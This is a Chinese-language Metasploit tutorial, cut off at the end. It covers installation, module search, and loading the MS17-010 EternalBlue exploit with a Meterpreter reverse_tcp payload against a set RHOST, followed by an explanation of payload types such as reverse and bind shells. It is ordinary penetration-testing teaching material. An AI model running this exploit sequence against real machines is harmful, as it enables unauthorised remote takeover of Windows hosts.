Metasploit Framework(MSF) 是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持 续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可 以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用 Ruby语言编写的了。在kali中,自带了Metasploit工具。
安装Metasploit
在一般的linux中,默认是不安装MSF的。以下是在非kali的Linux下安装MSF框架。
一键安装
curl https://raw.githubusercontent.com/rapid7/metasploit- omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb >
msfinstall && chmod 755 msfinstall && ./msfinstall
adduser msf #添加msf用户
su msf #切换到msf用户
cd /opt/metasploit-framework/bin #切换到msf所在的目录
./msfconsole #以后启动msfconsole,都切换到msf用户下启动,这样会同步数据库。如果使 用root用户启动的话,不会同步数据库 也可以将msfconsole加入到执行目录下,这样在任何目录直接 msfconsole就可以了
ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole#备注: #初次运行msf会创建数据库,但是msf默认使用的PostgreSQL数据库不能与root用户关联,这也这也就是需 要新建用户msf来运行metasploit的原因所在。如果你一不小心手一抖,初次运行是在root用户下,请使用 msfdb reinit 命令,然后使用非root用户初始化数据库。
使用方法:
进入框架:msfconsole
使用search命令查找相关漏洞: search ms17-010
使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue
使用info查看模块信息: info 设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
查看模块需要配置的参数:show options
设置参数:set RHOST 192.168.125.138 攻击:exploit / run
后渗透阶段
不同的攻击用到的步骤也不一样,这不是一成不变的,需要灵活使用。
我们也可以将攻击代码写入 configure.rc(只要是以 .rc 结尾的文件)配置文件中,然后使用命令 msfconsole -r configure.rc 进行自动攻击
漏洞利用(exploit)
漏洞利用exploit,也就是我们常说的 exp,他就是对漏洞进行攻击的代码。
exploit漏洞利用模块路径:/usr/share/metasploit-framework/modules/exploits
这里面有针对不同平台的 exploit 。 我们现在就进 windows 平台看看,这里会列出针对windows平台不同服务的漏洞利用
我们进入smb服务,这是windows中经常爆出漏洞的服务,比如我们的永恒之蓝漏洞就在这里面。漏洞 利用代码是以 rb 结尾的文件,因为metasploit是用Ruby语言编写的。
攻击载荷(payload)
payload模块路径:/usr/share/metasploit-framework/modules/payloads
Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一 种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之, 这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
Shellcode :Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。 Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令 之后,才会提 供一个命令行shell。 Metasploit中的 Payload 模块主要有以下三种类型:
Single是一种完全独立的Payload,而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统 用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似 netcat 这样 的非metasploit处理工具所捕捉到
Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。 一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目 标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp 监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
Stage是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有 大小限制。
在 Metasploit 中,我们可以通过Payload的名称和使用格式来推断它的类型:
Single Payload的格式为:/ 如:windows/powershell_bind_tcp
Stager/Stage Payload的格式为:/ / 如:
windows/meterpreter/reverse_tcp
当我们在Metasploit中执行 show payloads 命令之后,它会给我们显示一个可使用的Payload列表: 在这个列表中,像 windows/powershell_bind_tcp 就是一个Single Payload,它不包含Stage Payload
而 windows/meterpreter/reverse_tcp 则由一个Stage Payload(meterpreter)和 一个Stager Payload(reverse_tcp)组成
Stager中几种常见的payload